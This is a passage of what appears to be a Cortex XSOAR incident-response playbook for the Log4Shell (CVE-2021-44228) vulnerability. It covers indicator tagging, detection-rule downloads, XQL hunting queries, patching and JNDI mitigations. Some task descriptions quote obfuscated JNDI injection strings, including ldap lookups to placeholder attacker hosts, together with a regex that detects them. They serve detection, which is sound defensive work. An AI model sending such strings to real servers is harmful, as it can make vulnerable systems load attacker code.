accessor: Domain transformers: - operator: append args: item: value: simple: ExtractedIndicators.IP iscontext: true - operator: append args: item: value: simple: ExtractedIndicators.URL iscontext: true - operator: append args: item: value: simple: ExtractedIndicators.File iscontext: true - operator: append args: item: value: simple: ExtractedIndicators.CVE iscontext: true - operator: uniq - operator: count playbookDescription: complex: root: inputs.PlaybookDescription exitCondition: "" wait: 1 max: 100 view: |- { "position": { "x": 1230, "y": -90 } } note: false timertriggers: [] ignoreworker: false skipunavailable: true quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "36": id: "36" taskid: 731d14ee-3594-4f60-85bd-80c4c26f7cef type: title task: id: 731d14ee-3594-4f60-85bd-80c4c26f7cef version: -1 name: Handle Rapid Breach Response Layout type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "35" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 1230, "y": -220 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "37": id: "37" taskid: 7f14e26f-4d59-40c1-882b-a5356de4682e type: title task: id: 7f14e26f-4d59-40c1-882b-a5356de4682e version: -1 name: Hunt Using Cortex XDR type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "87" - "74" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 1220, "y": 1410 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "39": id: "39" taskid: ab2c0d8e-1b36-423a-80d4-25d3b97bfec6 type: condition task: id: ab2c0d8e-1b36-423a-80d4-25d3b97bfec6 version: -1 name: Block indicators automatically? description: Checks whether IOCs associated with the incident can be blocked automatically. type: condition iscommand: false brand: "" nexttasks: '#default#': - "40" "yes": - "100" separatecontext: false conditions: - label: "yes" condition: - - operator: isEqualString left: value: complex: root: inputs.BlockIndicatorsAutomatically iscontext: true right: value: simple: "True" ignorecase: true continueonerrortype: "" view: |- { "position": { "x": 1150, "y": 2930 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "40": id: "40" taskid: 47e8ed37-68e7-4e15-84c7-a504ef858002 type: regular task: id: 47e8ed37-68e7-4e15-84c7-a504ef858002 version: -1 name: Block indicators manually description: Manually block the IOCs in the relevant systems. type: regular iscommand: false brand: "" nexttasks: '#none#': - "42" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 1600, "y": 3150 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "42": id: "42" taskid: 559a6b6f-86d5-43e9-8451-62c0f096a813 type: title task: id: 559a6b6f-86d5-43e9-8451-62c0f096a813 version: -1 name: Mitigation type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "50" - "52" - "53" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 1150, "y": 3320 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "43": id: "43" taskid: 91c9ac01-b630-4d4a-8c2c-b0d56f58d23c type: regular task: id: 91c9ac01-b630-4d4a-8c2c-b0d56f58d23c version: -1 name: Install log4j patched versions description: |- For **CVE-2021-45046** and **CVE-2021-44228**, please patch with one of the following versions: * **Log4j-2.15.0-rc2** * **Log4j-2.16.0** For **CVE-2021-45105**, please patch with the following version: * **Log4j 2.17.0 (Java 8)** For **CVE-2021-44832**, please patch with the following version: * **Log4j 2.17.1** The files are available via the following link: [Download Apache Log4j 2](https://logging.apache.org/log4j/2.x/download.html) type: regular iscommand: false brand: "" nexttasks: '#none#': - "49" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 1400, "y": 3620 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "44": id: "44" taskid: 015984a5-3c1d-46ec-8148-2dd436a06ff3 type: regular task: id: 015984a5-3c1d-46ec-8148-2dd436a06ff3 version: -1 name: Disable JNDI and JNDI lookup description: "To disable JNDI lookup on vulnerable servers - \n* Remove the\ \ JndiLookup file in the log4j-core and restart the service\n * Setup log4j2.formatMsgNoLookups=true\n\ \nTo disable JNDI on vulnerable servers -\n* Set up spring.jndi.ignore=true" type: regular iscommand: false brand: "" nexttasks: '#none#': - "49" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 1870, "y": 3620 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "45": id: "45" taskid: 3c937fa9-2ae5-4e0c-8d8c-998fdcc724c8 type: condition task: id: 3c937fa9-2ae5-4e0c-8d8c-998fdcc724c8 version: -1 name: Analysis resolution - Should continue with the investigation? description: Check with the analyst whether to continue with the investigation. type: condition iscommand: false brand: "" nexttasks: "No": - "48" "Yes": - "47" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 1120, "y": 3970 } } note: false timertriggers: [] ignoreworker: false message: to: subject: body: simple: Do you need to continue with the investigation? methods: [] format: "" bcc: cc: timings: retriescount: 2 retriesinterval: 360 completeafterreplies: 1 completeafterv2: false completeaftersla: false replyOptions: - "Yes" - "No" skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "46": id: "46" taskid: 131a6516-fa0c-4ebb-8283-fe6d63f59ddf type: title task: id: 131a6516-fa0c-4ebb-8283-fe6d63f59ddf version: -1 name: Done type: title iscommand: false brand: "" description: '' separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 1120, "y": 4430 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "47": id: "47" taskid: cfa12606-b022-4346-86ee-9d8ac58a9d4d type: regular task: id: cfa12606-b022-4346-86ee-9d8ac58a9d4d version: -1 name: Investigate Further description: Manual step for further incident investigation. CISA released an open-source detection and scanning tool for discovering and fuzzing for Log4J RCE CVE-2021-44228 vulnerability. For more information , [CISA GitHub](https://github.com/cisagov/log4j-scanner/tree/master/log4-scanner) type: regular iscommand: false brand: "" nexttasks: '#none#': - "46" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 670, "y": 4220 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "48": id: "48" taskid: 6212fb4f-9af9-4e62-8bae-78fa4893d81f type: regular task: id: 6212fb4f-9af9-4e62-8bae-78fa4893d81f version: -1 name: Close Investigation description: Close the current incident script: Builtin|||closeInvestigation type: regular iscommand: true brand: Builtin nexttasks: '#none#': - "46" scriptarguments: closeReason: simple: No further actions are required. separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 1120, "y": 4220 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "49": id: "49" taskid: 11ba15a1-53c5-442c-860d-ac93338374d4 type: title task: id: 11ba15a1-53c5-442c-860d-ac93338374d4 version: -1 name: Resolution type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "45" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 1120, "y": 3810 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "50": id: "50" taskid: a10e686e-df84-4861-8b81-9a302bee7878 type: title task: id: a10e686e-df84-4861-8b81-9a302bee7878 version: -1 name: Unit42 Recommended Mitigations type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "51" - "44" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 2100, "y": 3470 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "51": id: "51" taskid: f151de8a-de5f-4d9a-82d5-4ceda7e6b45a type: regular task: id: f151de8a-de5f-4d9a-82d5-4ceda7e6b45a version: -1 name: PANW - Disable suspicious outbound traffic description: Disable suspicious outbound traffic, such as LDAP and RMI on the server in PANW Firewall. type: regular iscommand: false brand: "" nexttasks: '#none#': - "49" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 2330, "y": 3620 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "52": id: "52" taskid: c3dd9700-3979-41c1-858a-fa474809e32b type: title task: id: c3dd9700-3979-41c1-858a-fa474809e32b version: -1 name: Patch Vulnerability type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "43" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 1400, "y": 3470 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "53": id: "53" taskid: 7521c0a1-5d2d-4076-851a-7eda90553817 type: title task: id: 7521c0a1-5d2d-4076-851a-7eda90553817 version: -1 name: Deploy Detection Rules type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "54" - "55" - "64" - "65" - "99" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": -170, "y": 3470 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "54": id: "54" taskid: ef45eabd-a1b8-401d-8938-68812067aab1 type: regular task: id: ef45eabd-a1b8-401d-8938-68812067aab1 version: -1 name: Snort Rules description: |- Snort rules file has been downloaded as emerging-exploit-snort.rules and is available for download directly from XSOAR. Please note the log4j rules are part of the latest released package. type: regular iscommand: false brand: "" nexttasks: '#none#': - "49" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 270, "y": 3620 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "55": id: "55" taskid: ba572ebd-326d-47f2-8c9b-3b05d6426ef1 type: regular task: id: ba572ebd-326d-47f2-8c9b-3b05d6426ef1 version: -1 name: Suricata Rules description: |- Suricata rules file has been downloaded as emerging-exploit-suricata.rules and is available for download directly from XSOAR. Please note the log4j rules are part of the latest released package. type: regular iscommand: false brand: "" nexttasks: '#none#': - "49" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 710, "y": 3620 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "57": id: "57" taskid: 7703c2ce-5ee7-4773-809a-b9af0aa6dccd type: regular task: id: 7703c2ce-5ee7-4773-809a-b9af0aa6dccd version: -1 name: Tag IP indicators description: commands.local.cmd.new.indicator script: Builtin|||createNewIndicator type: regular iscommand: true brand: Builtin nexttasks: '#none#': - "15" scriptarguments: retry-count: simple: "3" retry-interval: simple: "2" tags: simple: CVE-2021-44228 type: simple: IP value: complex: root: ExtractedIndicators.IP filters: - - operator: isNotEmpty left: value: simple: ExtractedIndicators.IP iscontext: true transformers: - operator: uniq verdict: complex: root: inputs.CollectedIndicatorsSeverity separatecontext: false continueonerror: true continueonerrortype: "" view: |- { "position": { "x": 1010, "y": -600 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "58": id: "58" taskid: 8461e94b-20fb-41c8-8574-6ff97c03708d type: regular task: id: 8461e94b-20fb-41c8-8574-6ff97c03708d version: -1 name: Tag CVE indicators description: commands.local.cmd.new.indicator script: Builtin|||createNewIndicator type: regular iscommand: true brand: Builtin nexttasks: '#none#': - "15" scriptarguments: retry-count: simple: "3" retry-interval: simple: "2" tags: simple: Log4j type: simple: CVE value: complex: root: inputs.RelatedCVEs transformers: - operator: split args: delimiter: value: simple: ', ' separatecontext: false continueonerror: true continueonerrortype: "" view: |- { "position": { "x": 1450, "y": -600 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "60": id: "60" taskid: 8bf7724c-6574-4e2a-8aa2-6e346a40c244 type: playbook task: id: 8bf7724c-6574-4e2a-8aa2-6e346a40c244 version: -1 name: QRadarFullSearch description: This playbook runs a QRadar query and return its results to the context. playbookName: QRadarFullSearch type: playbook iscommand: false brand: "" nexttasks: '#none#': - "37" scriptarguments: interval: simple: "1" query_expression: complex: root: QRadarQuery timeout: simple: "600" separatecontext: true continueonerrortype: "" loop: iscommand: false exitCondition: "" wait: 1 max: 0 view: |- { "position": { "x": -900, "y": 805 } } note: false timertriggers: [] ignoreworker: false skipunavailable: true quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "62": id: "62" taskid: deae7b26-a6ab-4e55-8c14-36440732a833 type: regular task: id: deae7b26-a6ab-4e55-8c14-36440732a833 version: -1 name: Download Yara Rules description: Download Yara Rules scriptName: http type: regular iscommand: false brand: "" nexttasks: '#none#': - "8" scriptarguments: filename: simple: YaraRules.yar method: simple: GET saveAsFile: simple: "yes" url: simple: https://raw.githubusercontent.com/Neo23x0/signature-base/master/yara/expl_log4j_cve_2021_44228.yar separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 180, "y": -1300 } } note: false timertriggers: [] ignoreworker: false skipunavailable: true quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "63": id: "63" taskid: 4b7623d4-4e01-4ac2-89d1-93afc0e9ad9a type: regular task: id: 4b7623d4-4e01-4ac2-89d1-93afc0e9ad9a version: -1 name: Download Sigma Rules description: Download Sigma Rules scriptName: http type: regular iscommand: false brand: "" nexttasks: '#none#': - "8" scriptarguments: filename: simple: SigmaRules.yml method: simple: GET saveAsFile: simple: "yes" url: simple: https://raw.githubusercontent.com/SigmaHQ/sigma/master/rules/web/web_cve_2021_44228_log4j_fields.yml separatecontext: false continueonerrortype: "" view: |- { "position": { "x": 600, "y": -1300 } } note: false timertriggers: [] ignoreworker: false skipunavailable: true quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "64": id: "64" taskid: e2583fc7-07d8-4152-8aa4-2b331b932fb6 type: regular task: id: e2583fc7-07d8-4152-8aa4-2b331b932fb6 version: -1 name: Sigma Rules description: Sigma rules file has been downloaded as SigmaRules.yml and is available for download directly from XSOAR. type: regular iscommand: false brand: "" nexttasks: '#none#': - "49" separatecontext: false continueonerrortype: "" view: |- { "position": { "x": -170, "y": 3620 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "65": id: "65" taskid: 90a7bd6c-544f-4df2-8233-d35be433866e type: regular task: id: 90a7bd6c-544f-4df2-8233-d35be433866e version: -1 name: Yara Rules description: Yara rules file has been downloaded as YaraRules.yar and is available for download directly from XSOAR. type: regular iscommand: false brand: "" nexttasks: '#none#': - "49" separatecontext: false view: |- { "position": { "x": -610, "y": 3620 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "66": id: "66" taskid: 552d8675-af10-49f5-8790-739d25150a72 type: title task: id: 552d8675-af10-49f5-8790-739d25150a72 version: -1 name: Collect Detection Rules type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "7" - "6" - "63" - "62" separatecontext: false view: |- { "position": { "x": 830, "y": -1450 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "69": id: "69" taskid: 850008f6-1c7f-457b-8fbe-e338a3992efa type: condition task: id: 850008f6-1c7f-457b-8fbe-e338a3992efa version: -1 name: Check if Cortex XDR - IR is Enabled description: Returns 'yes' if integration brand is available. Otherwise returns 'no' scriptName: IsIntegrationAvailable type: condition iscommand: false brand: "" nexttasks: "no": - "29" "yes": - "32" scriptarguments: brandname: simple: Cortex XDR - IR results: - brandInstances separatecontext: false view: |- { "position": { "x": 1520, "y": 1730 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "70": id: "70" taskid: b7c092ef-1507-4866-894c-2cc6181145a9 type: regular task: id: b7c092ef-1507-4866-894c-2cc6181145a9 version: -1 name: Retrieve All Endpoint IDs description: Gets a list of endpoints, according to the passed filters. If there are no filters, all endpoints are returned. Filtering by multiple fields will be concatenated using AND condition (OR is not supported). Maximum result set size is 100. Offset is the zero-based number of endpoint from the start of the result set (start by counting from 0). script: '|||xdr-get-endpoints' type: regular iscommand: true brand: "" nexttasks: '#none#': - "101" - "102" scriptarguments: platform: simple: linux separatecontext: false continueonerror: true continueonerrortype: "" view: |- { "position": { "x": 2040, "y": 2315 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "72": id: "72" taskid: 1e965976-5402-4055-86be-df2f91baf60f type: regular task: id: 1e965976-5402-4055-86be-df2f91baf60f version: -1 name: Retrieve specified endpoint IDs description: Gets a list of endpoints, according to the passed filters. If there are no filters, all endpoints are returned. Filtering by multiple fields will be concatenated using AND condition (OR is not supported). Maximum result set size is 100. Offset is the zero-based number of endpoint from the start of the result set (start by counting from 0). script: '|||xdr-get-endpoints' type: regular iscommand: true brand: "" nexttasks: '#none#': - "101" - "102" scriptarguments: endpoint_id_list: complex: root: inputs.XDREndpointIDs platform: simple: linux separatecontext: false view: |- { "position": { "x": 2490, "y": 2315 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "74": id: "74" taskid: a942e848-c021-4139-82f1-af2f837ddd3a type: title task: id: a942e848-c021-4139-82f1-af2f837ddd3a version: -1 name: 'Cortex XDR - XQL Hunting Queries ' type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "75" separatecontext: false view: |- { "position": { "x": 900, "y": 1570 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "75": id: "75" taskid: 4b90bd4e-1445-4d7d-8b0a-18c4a47bfb6d type: condition task: id: 4b90bd4e-1445-4d7d-8b0a-18c4a47bfb6d version: -1 name: Should run XQL hunting queries? description: Checks whether to execute XDR shell script for exploitation hunting. type: condition iscommand: false brand: "" nexttasks: '#default#': - "29" "yes": - "80" separatecontext: false conditions: - label: "yes" condition: - - operator: isEqualString left: value: complex: root: inputs.RunXQLHuntingQueries iscontext: true right: value: simple: "True" ignorecase: true view: |- { "position": { "x": 900, "y": 1730 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "77": id: "77" taskid: 406a75ae-c420-4678-8a43-e43d84ad566d type: regular task: id: 406a75ae-c420-4678-8a43-e43d84ad566d version: -1 name: Search for process names "java" interacted with "log4j" description: Attempting to detect all Log4j jar loading - Trying to find all applications that utilize Log4j is nearly impossible, as it is bundled in a ton of different software.With that being said, we believe that this query will enable you to get at least a partial grip of this package usage within your environment. tags: - UserXQL script: '|||xdr-xql-generic-query' type: regular iscommand: true brand: "" nexttasks: '#none#': - "82" scriptarguments: query: simple: |- config case_sensitive = false timeframe=30d | dataset = xdr_data | filter actor_process_image_name contains "java" | filter (agent_os_sub_type contains "server" or agent_os_type = ENUM.AGENT_OS_LINUX ) | filter action_file_name contains "log4j" and action_file_extension = "jar" // testing |fields agent_hostname, agent_ip_addresses, actor_effective_username, action_file_name, action_file_path | dedup agent_hostname | join conflict_strategy = left type=left ( dataset = xdr_data |filter event_type = NETWORK AND event_sub_type = NETWORK_STREAM_ACCEPT |alter rfc1918_172 = incidr(action_remote_ip, "172.16.0.0/12") |alter rfc1918_10 = incidr(action_remote_ip, "10.0.0.0/8") |alter rfc1918_192 = incidr(action_remote_ip, "192.168.0.0/16") |filter rfc1918_172 = false and rfc1918_10 = false and rfc1918_192 = false |comp count_distinct(action_remote_ip) as Count by agent_hostname ) as Count_External_IPs (Count_External_IPs.agent_hostname = agent_hostname ) | filter Count >0 query_name: simple: Search for process names "java" interacted with "log4j" time_frame: simple: 7 days separatecontext: false view: |- { "position": { "x": 20, "y": 2245 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 2 isoversize: false isautoswitchedtoquietmode: false "78": id: "78" taskid: 8ea87238-9d61-4854-81e4-88baedf10f62 type: regular task: id: 8ea87238-9d61-4854-81e4-88baedf10f62 version: -1 name: Detecting a files that matches the SHA256 hash of the Log4j vulnerable versions. description: Attempt to target all hosts that contain a file that matches the SHA256 hash of the Log4j vulnerable versions. tags: - UserXQL script: '|||xdr-xql-generic-query' type: regular iscommand: true brand: "" nexttasks: '#none#': - "82" scriptarguments: query: simple: |- dataset = xdr_data | fields agent_hostname , action_file_sha256, action_file_path , actor_process_image_sha256 , actor_process_image_path , causality_actor_process_image_sha256 , causality_actor_process_image_path | filter action_file_sha256 in ("bf4f41403280c1b115650d470f9b260a5c9042c04d9bcc2a6ca504a66379b2d6", "58e9f72081efff9bdaabd82e3b3efe5b1b9f1666cefe28f429ad7176a6d770ae", "ed285ad5ac6a8cf13461d6c2874fdcd3bf67002844831f66e21c2d0adda43fa4", "dbf88c623cc2ad99d82fa4c575fb105e2083465a47b84d64e2e1a63e183c274e", "a38ddff1e797adb39a08876932bc2538d771ff7db23885fb883fec526aff4fc8", "7d86841489afd1097576a649094ae1efb79b3147cd162ba019861dfad4e9573b", "4bfb0d5022dc499908da4597f3e19f9f64d3cc98ce756a2249c72179d3d75c47", "473f15c04122dad810c919b2f3484d46560fd2dd4573f6695d387195816b02a6", "b3fae4f84d4303cdbad4696554b4e8d2381ad3faf6e0c3c8d2ce60a4388caa02", "dcde6033b205433d6e9855c93740f798951fa3a3f252035a768d9f356fde806d", "85338f694c844c8b66d8a1b981bcf38627f95579209b2662182a009d849e1a4c", "db3906edad6009d1886ec1e2a198249b6d99820a3575f8ec80c6ce57f08d521a", "ec411a34fee49692f196e4dc0a905b25d0667825904862fdba153df5e53183e0", "a00a54e3fb8cb83fab38f8714f240ecc13ab9c492584aa571aec5fc71b48732d", "c584d1000591efa391386264e0d43ec35f4dbb146cad9390f73358d9c84ee78d", "8bdb662843c1f4b120fb4c25a5636008085900cdf9947b1dadb9b672ea6134dc", "c830cde8f929c35dad42cbdb6b28447df69ceffe99937bf420d32424df4d076a", "6ae3b0cb657e051f97835a6432c2b0f50a651b36b6d4af395bbe9060bb4ef4b2", "535e19bf14d8c76ec00a7e8490287ca2e2597cae2de5b8f1f65eb81ef1c2a4c6", "42de36e61d454afff5e50e6930961c85b55d681e23931efd248fd9b9b9297239", "4f53e4d52efcccdc446017426c15001bb0fe444c7a6cdc9966f8741cf210d997", "df00277045338ceaa6f70a7b8eee178710b3ba51eac28c1142ec802157492de6", "28433734bd9e3121e0a0b78238d5131837b9dbe26f1a930bc872bad44e68e44e", "cf65f0d33640f2cd0a0b06dd86a5c6353938ccb25f4ffd14116b4884181e0392", "5bb84e110d5f18cee47021a024d358227612dd6dac7b97fa781f85c6ad3ccee4", "ccf02bb919e1a44b13b366ea1b203f98772650475f2a06e9fac4b3c957a7c3fa", "815a73e20e90a413662eefe8594414684df3d5723edcd76070e1a5aee864616e", "10ef331115cbbd18b5be3f3761e046523f9c95c103484082b18e67a7c36e570c", "dc815be299f81c180aa8d2924f1b015f2c46686e866bc410e72de75f7cd41aae", "9275f5d57709e2204900d3dae2727f5932f85d3813ad31c9d351def03dd3d03d", "f35ccc9978797a895e5bee58fa8c3b7ad6d5ee55386e9e532f141ee8ed2e937d", "5256517e6237b888c65c8691f29219b6658d800c23e81d5167c4a8bbd2a0daa3", "d4485176aea67cc85f5ccc45bb66166f8bfc715ae4a695f0d870a1f8d848cc3d", "3fcc4c1f2f806acfc395144c98b8ba2a80fe1bf5e3ad3397588bbd2610a37100", "057a48fe378586b6913d29b4b10162b4b5045277f1be66b7a01fb7e30bd05ef3", "5dbd6bb2381bf54563ea15bc9fbb6d7094eaf7184e6975c50f8996f77bfc3f2c", "c39b0ea14e7766440c59e5ae5f48adee038d9b1c7a1375b376e966ca12c22cd3", "6f38a25482d82cd118c4255f25b9d78d96821d22bab498cdce9cda7a563ca992", "54962835992e303928aa909730ce3a50e311068c0960c708e82ab76701db5e6b", "e5e9b0f8d72f4e7b9022b7a83c673334d7967981191d2d98f9c57dc97b4caae1", "68d793940c28ddff6670be703690dfdf9e77315970c42c4af40ca7261a8570fa", "9da0f5ca7c8eab693d090ae759275b9db4ca5acdbcfe4a63d3871e0b17367463", "006fc6623fbb961084243cfc327c885f3c57f2eba8ee05fbc4e93e5358778c85") | dedup agent_hostname , action_file_sha256, action_file_path , actor_process_image_sha256 , actor_process_image_path , causality_actor_process_image_sha256 , causality_actor_process_image_path query_name: simple: Detecting a files that matches the SHA256 hash of the Log4j vulnerable versions. time_frame: simple: 7 days separatecontext: false view: |- { "position": { "x": -420, "y": 2245 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 2 isoversize: false isautoswitchedtoquietmode: false "79": id: "79" taskid: 2c6cddcd-b0c2-4a93-881d-054fdc665b24 type: regular task: id: 2c6cddcd-b0c2-4a93-881d-054fdc665b24 version: -1 name: Detecting Potentially Malicious Activity Attributed with the Log4j Exploitation description: |- Section B: Detecting Potentially Malicious Activity Attributed with the Log4j Exploitation Given the sheer amount of obfuscation possible on the malicious User-Agents like: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName} ${JnD${upper:i}:lda${env:XXXX2323:-p}:/ ${jndi:ldap://host/$ ${jndi:${lower:l}${lower:d}a${lower:p}: We’ve decided to choose a regular expression targeting all permutations of the potential resources. tags: - UserXQL script: '|||xdr-xql-generic-query' type: regular iscommand: true brand: "" nexttasks: '#none#': - "82" scriptarguments: query: simple: |- config case_sensitive = false timeframe=7d | dataset = xdr_data | filter lowercase(action_user_agent) ~= "((?:\%24\%7B|\$%7B|\$\{|\$[^//]+\{)(?:j|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+j|(?:\-|\}|\:|\:\-|\}|\:|\$)j[^//]+|jn|jnd)(?:n|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+n|(?:\-|\}|\:|\:\-|\}|\:|\$)n[^//]+|nd|ndi)?(?:d|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+d|(?:\-|\}|\:|\:\-|\}|\:|\$)n[^//]+|di)(?:i|(?:\-|\}|\:|\:\-|\}|\:|\$)[^//]+i|(?:\-|\}|\:|\:\-|\}|\:|\$)i[^//]+))" OR lowercase(action_user_agent) ~= "\${jndi" | alter rfc1918_172 = incidr(action_remote_ip , "172.16.0.0/12") | alter rfc1918_10 = incidr(action_remote_ip, "10.0.0.0/8") | alter rfc1918_192 = incidr(action_remote_ip, "192.168.0.0/16") | filter (rfc1918_172 = false and rfc1918_10 = false and rfc1918_192 = false) | fields action_user_agent,agent_hostname, action_process_image_name, action_process_image_command_line query_name: simple: Detecting Potentially Malicious Activity Attributed with the Log4j Exploitation time_frame: simple: 7 days separatecontext: false view: |- { "position": { "x": 430, "y": 2245 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 2 isoversize: false isautoswitchedtoquietmode: false "80": id: "80" taskid: 23096d0f-20e0-4f97-866f-dae9c4670d0d type: condition task: id: 23096d0f-20e0-4f97-866f-dae9c4670d0d version: -1 name: Check if Cortex XDR - XQL Query Engine is Enabled description: Returns 'yes' if integration brand is available. Otherwise returns 'no' scriptName: IsIntegrationAvailable type: condition iscommand: false brand: "" nexttasks: "no": - "29" "yes": - "81" scriptarguments: brandname: simple: Cortex XDR - XQL Query Engine results: - brandInstances separatecontext: false view: |- { "position": { "x": 720, "y": 1900 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "81": id: "81" taskid: 031066a1-1f0c-4892-8533-6d4b37c94348 type: title task: id: 031066a1-1f0c-4892-8533-6d4b37c94348 version: -1 name: Hunting for Log4Shell in Your Network type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "79" - "77" - "78" - "86" separatecontext: false view: |- { "position": { "x": -190, "y": 2100 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "82": id: "82" taskid: ff688117-6e42-44e8-8c0d-3063c571b2c4 type: title task: id: ff688117-6e42-44e8-8c0d-3063c571b2c4 version: -1 name: Hunting for Log4Shell in Your Cloud Environment type: title iscommand: false brand: "" description: '' nexttasks: '#none#': - "84" - "85" separatecontext: false view: |- { "position": { "x": -190, "y": 2445 } } note: false timertriggers: [] ignoreworker: false skipunavailable: false quietmode: 0 isoversize: false isautoswitchedtoquietmode: false "84": id: "84" taskid: accfa4c0-e904-4cce-88f7-eea48eba9abf type: regular task: id: accfa4c0-e904-4cce-88f7-eea48eba9abf version: -1 name: Hunt additional exploitation attempts within cloud audit logs description: "Leveraging the exploitation upon API calls (as those API calls\ \ are usually logged) and their associated attributes controlled by the attacker\ \ such as the requests parameters of the API call or the user-agent. \nFor\ \ example:\nCloud storage services, modify the object name:\nprojects/_/buckets/<BUCKET-NAME>/objects/${jndi:ldap://<ATTACKER-IP>:<PORT>/Exploit}\n\ User agent:\n${jndi:${lower:l}${lower:d}a${lower:p}://<ATTACKER-DNS>.bin${upper:a}.io:<PORT>/callback}" tags: - UserXQL script: '|||xdr-xql-generic-query' type: regular iscommand: true brand: "" nexttasks: '#none#': - "29" scriptarguments: query: simple: |- dataset = cloud_audit_logs | alter raw_log_decoded = replace(replace(replace(lowercase(raw_log), "%7b", "{"), "%24","$"), "%7d", "}") | filter raw_log_decoded ~= 